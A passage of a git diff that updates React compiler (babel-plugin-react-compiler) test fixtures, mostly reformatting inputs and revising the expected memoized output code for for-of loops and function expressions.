+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-destructure.expect.md
@@ -4,8 +4,8 @@
 ```javascript
 function Component() {
   let x = [];
-  let items = [{ v: 0 }, { v: 1 }, { v: 2 }];
-  for (const { v } of items) {
+  let items = [{v: 0}, {v: 1}, {v: 2}];
+  for (const {v} of items) {
     x.push(v * 2);
   }
   return x;
@@ -36,6 +36,7 @@ function Component() {
   } else {
     x = $[0];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-destructure.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-destructure.js
index 6dfc27cbcd29..0a77e751bb1d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-destructure.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-destructure.js
@@ -1,7 +1,7 @@
 function Component() {
   let x = [];
-  let items = [{ v: 0 }, { v: 1 }, { v: 2 }];
-  for (const { v } of items) {
+  let items = [{v: 0}, {v: 1}, {v: 2}];
+  for (const {v} of items) {
     x.push(v * 2);
   }
   return x;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-immutable-collection.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-immutable-collection.expect.md
index a026a815be01..746f79a5ad67 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-immutable-collection.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-immutable-collection.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-function Router({ title, mapping }) {
+function Router({title, mapping}) {
   const array = [];
   for (let [, entry] of mapping) {
     array.push([title, entry]);
@@ -11,8 +11,8 @@ function Router({ title, mapping }) {
 }
 
 const routes = new Map([
-  ["about", "/about"],
-  ["contact", "/contact"],
+  ['about', '/about'],
+  ['contact', '/contact'],
 ]);
 
 export const FIXTURE_ENTRYPOINT = {
@@ -20,11 +20,11 @@ export const FIXTURE_ENTRYPOINT = {
   params: [],
   sequentialRenders: [
     {
-      title: "Foo",
+      title: 'Foo',
       mapping: routes,
     },
     {
-      title: "Bar",
+      title: 'Bar',
       mapping: routes,
     },
   ],
@@ -51,6 +51,7 @@ function Router(t0) {
   } else {
     array = $[2];
   }
+
   return array;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-immutable-collection.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-immutable-collection.js
index 461ad32bba6c..49e3853fdd54 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-immutable-collection.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-immutable-collection.js
@@ -1,4 +1,4 @@
-function Router({ title, mapping }) {
+function Router({title, mapping}) {
   const array = [];
   for (let [, entry] of mapping) {
     array.push([title, entry]);
@@ -7,8 +7,8 @@ function Router({ title, mapping }) {
 }
 
 const routes = new Map([
-  ["about", "/about"],
-  ["contact", "/contact"],
+  ['about', '/about'],
+  ['contact', '/contact'],
 ]);
 
 export const FIXTURE_ENTRYPOINT = {
@@ -16,11 +16,11 @@ export const FIXTURE_ENTRYPOINT = {
   params: [],
   sequentialRenders: [
     {
-      title: "Foo",
+      title: 'Foo',
       mapping: routes,
     },
     {
-      title: "Bar",
+      title: 'Bar',
       mapping: routes,
     },
   ],
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-iterator-of-immutable-collection.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-iterator-of-immutable-collection.expect.md
index 9befe8fd186f..484e5b72a6bc 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-iterator-of-immutable-collection.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-iterator-of-immutable-collection.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-function Router({ title, mapping }) {
+function Router({title, mapping}) {
   const array = [];
   for (let entry of mapping.values()) {
     array.push([title, entry]);
@@ -11,8 +11,8 @@ function Router({ title, mapping }) {
 }
 
 const routes = new Map([
-  ["about", "/about"],
-  ["contact", "/contact"],
+  ['about', '/about'],
+  ['contact', '/contact'],
 ]);
 
 export const FIXTURE_ENTRYPOINT = {
@@ -20,11 +20,11 @@ export const FIXTURE_ENTRYPOINT = {
   params: [],
   sequentialRenders: [
     {
-      title: "Foo",
+      title: 'Foo',
       mapping: routes,
     },
     {
-      title: "Bar",
+      title: 'Bar',
       mapping: routes,
     },
   ],
@@ -51,6 +51,7 @@ function Router(t0) {
   } else {
     array = $[2];
   }
+
   return array;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-iterator-of-immutable-collection.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-iterator-of-immutable-collection.js
index 4029ccf5363d..cbf336215ada 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-iterator-of-immutable-collection.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-iterator-of-immutable-collection.js
@@ -1,4 +1,4 @@
-function Router({ title, mapping }) {
+function Router({title, mapping}) {
   const array = [];
   for (let entry of mapping.values()) {
     array.push([title, entry]);
@@ -7,8 +7,8 @@ function Router({ title, mapping }) {
 }
 
 const routes = new Map([
-  ["about", "/about"],
-  ["contact", "/contact"],
+  ['about', '/about'],
+  ['contact', '/contact'],
 ]);
 
 export const FIXTURE_ENTRYPOINT = {
@@ -16,11 +16,11 @@ export const FIXTURE_ENTRYPOINT = {
   params: [],
   sequentialRenders: [
     {
-      title: "Foo",
+      title: 'Foo',
       mapping: routes,
     },
     {
-      title: "Bar",
+      title: 'Bar',
       mapping: routes,
     },
   ],
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-mutate-item-of-local-collection.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-mutate-item-of-local-collection.expect.md
index 959f4a82e2f1..3997f51692b7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-mutate-item-of-local-collection.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-mutate-item-of-local-collection.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { makeObject_Primitives } from "shared-runtime";
+import {makeObject_Primitives} from 'shared-runtime';
 
 function Component(props) {
   const items = [makeObject_Primitives(), makeObject_Primitives()];
@@ -38,6 +38,7 @@ function Component(props) {
   } else {
     items = $[0];
   }
+
   return items;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-mutate-item-of-local-collection.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-mutate-item-of-local-collection.js
index c065645691e0..cee55976b894 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-mutate-item-of-local-collection.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-mutate-item-of-local-collection.js
@@ -1,4 +1,4 @@
-import { makeObject_Primitives } from "shared-runtime";
+import {makeObject_Primitives} from 'shared-runtime';
 
 function Component(props) {
   const items = [makeObject_Primitives(), makeObject_Primitives()];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-mutate.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-mutate.expect.md
index e8175be98e8b..ceb5b9289dfa 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-mutate.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-mutate.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { makeObject_Primitives, mutateAndReturn, toJSON } from "shared-runtime";
+import {makeObject_Primitives, mutateAndReturn, toJSON} from 'shared-runtime';
 
 function Component(_props) {
   const collection = [makeObject_Primitives()];
@@ -38,7 +38,6 @@ function Component(_props) {
         <div key={toJSON(item)}>{toJSON(mutateAndReturn(item))}</div>,
       );
     }
-
     t0 = <div>{results}</div>;
     $[0] = t0;
   } else {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-mutate.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-mutate.tsx
index b4466dbe6aab..63fe57e66d84 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-mutate.tsx
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-mutate.tsx
@@ -1,4 +1,4 @@
-import { makeObject_Primitives, mutateAndReturn, toJSON } from "shared-runtime";
+import {makeObject_Primitives, mutateAndReturn, toJSON} from 'shared-runtime';
 
 function Component(_props) {
   const collection = [makeObject_Primitives()];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-nonmutating-loop-local-collection.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-nonmutating-loop-local-collection.expect.md
index 1c223a50f4a4..6d05e5e5ae30 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-nonmutating-loop-local-collection.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-nonmutating-loop-local-collection.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-import { useMemo } from "react";
-import { ValidateMemoization } from "shared-runtime";
+import {useMemo} from 'react';
+import {ValidateMemoization} from 'shared-runtime';
 
-function Component({ a, b }) {
+function Component({a, b}) {
   const x = useMemo(() => {
     return [a];
   }, [a]);
@@ -26,11 +26,11 @@ function Component({ a, b }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: 0, b: 0 }],
+  params: [{a: 0, b: 0}],
   sequentialRenders: [
-    { a: 1, b: 0 },
-    { a: 1, b: 1 },
-    { a: 0, b: 1 },
+    {a: 1, b: 0},
+    {a: 1, b: 1},
+    {a: 0, b: 1},
   ],
 };
 
@@ -47,17 +47,14 @@ function Component(t0) {
   const $ = _c(19);
   const { a, b } = t0;
   let t1;
-  let t2;
   if ($[0] !== a) {
-    t2 = [a];
+    t1 = [a];
     $[0] = a;
-    $[1] = t2;
+    $[1] = t1;
   } else {
-    t2 = $[1];
+    t1 = $[1];
   }
-  t1 = t2;
   const x = t1;
-  let t3;
   let items;
   if ($[2] !== b || $[3] !== x) {
     items = [b];
@@ -70,59 +67,57 @@ function Component(t0) {
   } else {
     items = $[4];
   }
-
-  t3 = items;
-  const y = t3;
-  let t4;
+  const y = items;
+  let t2;
   if ($[5] !== a) {
-    t4 = [a];
+    t2 = [a];
     $[5] = a;
-    $[6] = t4;
+    $[6] = t2;
   } else {
-    t4 = $[6];
+    t2 = $[6];
   }
-  let t5;
-  if ($[7] !== t4 || $[8] !== x) {
-    t5 = <ValidateMemoization inputs={t4} output={x} />;
-    $[7] = t4;
+  let t3;
+  if ($[7] !== t2 || $[8] !== x) {
+    t3 = <ValidateMemoization inputs={t2} output={x} />;
+    $[7] = t2;
     $[8] = x;
-    $[9] = t5;
+    $[9] = t3;
   } else {
-    t5 = $[9];
+    t3 = $[9];
   }
-  let t6;
-  if ($[10] !== x || $[11] !== b) {
-    t6 = [x, b];
-    $[10] = x;
-    $[11] = b;
-    $[12] = t6;
+  let t4;
+  if ($[10] !== b || $[11] !== x) {
+    t4 = [x, b];
+    $[10] = b;
+    $[11] = x;
+    $[12] = t4;
   } else {
-    t6 = $[12];
+    t4 = $[12];
   }
-  let t7;
-  if ($[13] !== t6 || $[14] !== y) {
-    t7 = <ValidateMemoization inputs={t6} output={y} />;
-    $[13] = t6;
+  let t5;
+  if ($[13] !== t4 || $[14] !== y) {
+    t5 = <ValidateMemoization inputs={t4} output={y} />;
+    $[13] = t4;
     $[14] = y;
-    $[15] = t7;
+    $[15] = t5;
   } else {
-    t7 = $[15];
+    t5 = $[15];
   }
-  let t8;
-  if ($[16] !== t5 || $[17] !== t7) {
-    t8 = (
+  let t6;
+  if ($[16] !== t3 || $[17] !== t5) {
+    t6 = (
       <>
+        {t3}
         {t5}
-        {t7}
       </>
     );
-    $[16] = t5;
-    $[17] = t7;
-    $[18] = t8;
+    $[16] = t3;
+    $[17] = t5;
+    $[18] = t6;
   } else {
-    t8 = $[18];
+    t6 = $[18];
   }
-  return t8;
+  return t6;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-nonmutating-loop-local-collection.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-nonmutating-loop-local-collection.js
index 0ac757aab8ec..3a687b1d342b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-nonmutating-loop-local-collection.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-nonmutating-loop-local-collection.js
@@ -1,7 +1,7 @@
-import { useMemo } from "react";
-import { ValidateMemoization } from "shared-runtime";
+import {useMemo} from 'react';
+import {ValidateMemoization} from 'shared-runtime';
 
-function Component({ a, b }) {
+function Component({a, b}) {
   const x = useMemo(() => {
     return [a];
   }, [a]);
@@ -22,10 +22,10 @@ function Component({ a, b }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: 0, b: 0 }],
+  params: [{a: 0, b: 0}],
   sequentialRenders: [
-    { a: 1, b: 0 },
-    { a: 1, b: 1 },
-    { a: 0, b: 1 },
+    {a: 1, b: 0},
+    {a: 1, b: 1},
+    {a: 0, b: 1},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-simple.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-simple.expect.md
index f73d5f81c01a..8db7138fc83c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-simple.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-simple.expect.md
@@ -36,6 +36,7 @@ function Component() {
   } else {
     x = $[0];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-return.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-return.expect.md
index d89b802a580b..46e8f9a97116 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-return.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-return.expect.md
@@ -10,8 +10,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-return.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-return.js
index bc1c56274f8e..07659e2b2d8c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-return.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-return.js
@@ -6,6 +6,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-with-assignment-as-update.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-with-assignment-as-update.expect.md
new file mode 100644
index 000000000000..f315ccaedb29
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-with-assignment-as-update.expect.md
@@ -0,0 +1,49 @@
+
+## Input
+
+```javascript
+function Component(props) {
+  let x = props.init;
+  for (let i = 0; i < 100; i = i + 1) {
+    x += i;
+  }
+  return [x];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{init: 0}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function Component(props) {
+  const $ = _c(2);
+  let x = props.init;
+  for (let i = 0; i < 100; i = i + 1) {
+    x = x + i;
+  }
+  let t0;
+  if ($[0] !== x) {
+    t0 = [x];
+    $[0] = x;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ init: 0 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) [4950]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-with-assignment-as-update.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-with-assignment-as-update.js
new file mode 100644
index 000000000000..5e18aa5ff77e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-with-assignment-as-update.js
@@ -0,0 +1,12 @@
+function Component(props) {
+  let x = props.init;
+  for (let i = 0; i < 100; i = i + 1) {
+    x += i;
+  }
+  return [x];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{init: 0}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-declaration-simple.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-declaration-simple.expect.md
index e539fdda9679..c3e50f3a8fd8 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-declaration-simple.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-declaration-simple.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 function component(a) {
-  let t = { a };
+  let t = {a};
   function x(p) {
     p.foo();
   }
@@ -13,8 +13,8 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-declaration-simple.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-declaration-simple.js
index 98386d098823..ee48c438512e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-declaration-simple.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-declaration-simple.js
@@ -1,5 +1,5 @@
 function component(a) {
-  let t = { a };
+  let t = {a};
   function x(p) {
     p.foo();
   }
@@ -9,6 +9,6 @@ function component(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expr-directive.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expr-directive.expect.md
index e66be26ced2f..8c4aa612e8ca 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expr-directive.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expr-directive.expect.md
@@ -3,11 +3,11 @@
 
 ```javascript
 function Component() {
-  "use strict";
+  'use strict';
   let [count, setCount] = React.useState(0);
   function update() {
-    "worklet";
-    setCount((count) => count + 1);
+    'worklet';
+    setCount(count => count + 1);
   }
   return <button onClick={update}>{count}</button>;
 }
@@ -34,7 +34,7 @@ function Component() {
     t0 = function update() {
       "worklet";
 
-      setCount((count_0) => count_0 + 1);
+      setCount(_temp);
     };
     $[0] = t0;
   } else {
@@ -51,6 +51,9 @@ function Component() {
   }
   return t1;
 }
+function _temp(count_0) {
+  return count_0 + 1;
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expr-directive.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expr-directive.js
index f04ffddff4c6..d04f6498e285 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expr-directive.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expr-directive.js
@@ -1,9 +1,9 @@
 function Component() {
-  "use strict";
+  'use strict';
   let [count, setCount] = React.useState(0);
   function update() {
-    "worklet";
-    setCount((count) => count + 1);
+    'worklet';
+    setCount(count => count + 1);
   }
   return <button onClick={update}>{count}</button>;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-captures-value-later-frozen-jsx.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-captures-value-later-frozen-jsx.expect.md
index d745ba1d1a17..3bc3d03e3a02 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-captures-value-later-frozen-jsx.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-captures-value-later-frozen-jsx.expect.md
@@ -6,7 +6,7 @@ function Component(props) {
   let x = {};
   // onChange should be inferred as immutable, because the value
   // it captures (`x`) is frozen by the time the function is referenced
-  const onChange = (e) => {
+  const onChange = e => {
     maybeMutate(x, e.target.value);
   };
   if (props.cond) {
@@ -41,6 +41,7 @@ function Component(props) {
     t1 = $[1];
   }
   const onChange = t1;
+
   if (props.cond) {
   }
   let t2;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-captures-value-later-frozen-jsx.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-captures-value-later-frozen-jsx.js
index 7e694fa1bd02..5b858b18b02b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-captures-value-later-frozen-jsx.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-captures-value-later-frozen-jsx.js
@@ -2,7 +2,7 @@ function Component(props) {
   let x = {};
   // onChange should be inferred as immutable, because the value
   // it captures (`x`) is frozen by the time the function is referenced
-  const onChange = (e) => {
+  const onChange = e => {
     maybeMutate(x, e.target.value);
   };
   if (props.cond) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-maybe-mutates-hook-return-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-maybe-mutates-hook-return-value.expect.md
index 0f65c54583a5..c8d6224645be 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-maybe-mutates-hook-return-value.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-maybe-mutates-hook-return-value.expect.md
@@ -22,28 +22,20 @@ function Component(props) {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function Component(props) {
-  const $ = _c(4);
+  const $ = _c(2);
   const id = useSelectedEntitytId();
   let t0;
   if ($[0] !== id) {
-    t0 = () => {
+    const onLoad = () => {
       log(id);
     };
+    t0 = <Foo onLoad={onLoad} />;
     $[0] = id;
     $[1] = t0;
   } else {
     t0 = $[1];
   }
-  const onLoad = t0;
-  let t1;
-  if ($[2] !== onLoad) {
-    t1 = <Foo onLoad={onLoad} />;
-    $[2] = onLoad;
-    $[3] = t1;
-  } else {
-    t1 = $[3];
-  }
-  return t1;
+  return t0;
 }
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-prototype-call-mutating.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-prototype-call-mutating.expect.md
index 86060212bc8f..4c03adc0e38b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-prototype-call-mutating.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-prototype-call-mutating.expect.md
@@ -2,8 +2,8 @@
 ## Input
 
 ```javascript
-import { useMemo } from "react";
-import { ValidateMemoization } from "shared-runtime";
+import {useMemo} from 'react';
+import {ValidateMemoization} from 'shared-runtime';
 
 function Component(props) {
   const a = useMemo(() => {
@@ -19,12 +19,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ name: "Jason" }],
-  sequentialRenders: [
-    { name: "Lauren" },
-    { name: "Lauren" },
-    { name: "Jason" },
-  ],
+  params: [{name: 'Jason'}],
+  sequentialRenders: [{name: 'Lauren'}, {name: 'Lauren'}, {name: 'Jason'}],
 };
 
 ```
@@ -38,7 +34,6 @@ import { ValidateMemoization } from "shared-runtime";
 
 function Component(props) {
   const $ = _c(7);
-  let t0;
   let a;
   if ($[0] !== props.name) {
     a = [];
@@ -52,26 +47,25 @@ function Component(props) {
   } else {
     a = $[1];
   }
-  t0 = a;
-  const a_0 = t0;
-  let t1;
+  const a_0 = a;
+  let t0;
   if ($[2] !== props.name) {
-    t1 = [props.name];
+    t0 = [props.name];
     $[2] = props.name;
-    $[3] = t1;
+    $[3] = t0;
   } else {
-    t1 = $[3];
+    t0 = $[3];
   }
-  let t2;
-  if ($[4] !== t1 || $[5] !== a_0) {
-    t2 = <ValidateMemoization inputs={t1} output={a_0} />;
-    $[4] = t1;
-    $[5] = a_0;
-    $[6] = t2;
+  let t1;
+  if ($[4] !== a_0 || $[5] !== t0) {
+    t1 = <ValidateMemoization inputs={t0} output={a_0} />;
+    $[4] = a_0;
+    $[5] = t0;
+    $[6] = t1;
   } else {
-    t2 = $[6];
+    t1 = $[6];
   }
-  return t2;
+  return t1;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-prototype-call-mutating.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-prototype-call-mutating.js
index 2988e3e36c07..5ef046d54754 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-prototype-call-mutating.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-prototype-call-mutating.js
@@ -1,5 +1,5 @@
-import { useMemo } from "react";
-import { ValidateMemoization } from "shared-runtime";
+import {useMemo} from 'react';
+import {ValidateMemoization} from 'shared-runtime';
 
 function Component(props) {
   const a = useMemo(() => {
@@ -15,10 +15,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ name: "Jason" }],
-  sequentialRenders: [
-    { name: "Lauren" },
-    { name: "Lauren" },
-    { name: "Jason" },
-  ],
+  params: [{name: 'Jason'}],
+  sequentialRenders: [{name: 'Lauren'}, {name: 'Lauren'}, {name: 'Jason'}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-prototype-call.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-prototype-call.expect.md
index c9d46853f981..73dbdc7f9d46 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-prototype-call.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-prototype-call.expect.md
@@ -11,7 +11,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ name: "Jason" }],
+  params: [{name: 'Jason'}],
 };
 
 ```
@@ -21,27 +21,19 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function Component(props) {
-  const $ = _c(4);
+  const $ = _c(2);
   let t0;
-  if ($[0] !== props.name) {
-    t0 = function () {
+  if ($[0] !== props) {
+    const f = function () {
       return <div>{props.name}</div>;
     };
-    $[0] = props.name;
+    t0 = f.call();
+    $[0] = props;
     $[1] = t0;
   } else {
     t0 = $[1];
   }
-  const f = t0;
-  let t1;
-  if ($[2] !== f) {
-    t1 = f.call();
-    $[2] = f;
-    $[3] = t1;
-  } else {
-    t1 = $[3];
-  }
-  return t1;
+  return t0;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-prototype-call.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-prototype-call.js
index 6a5e1ad9221a..7ec19834bee0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-prototype-call.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/function-expression-prototype-call.js
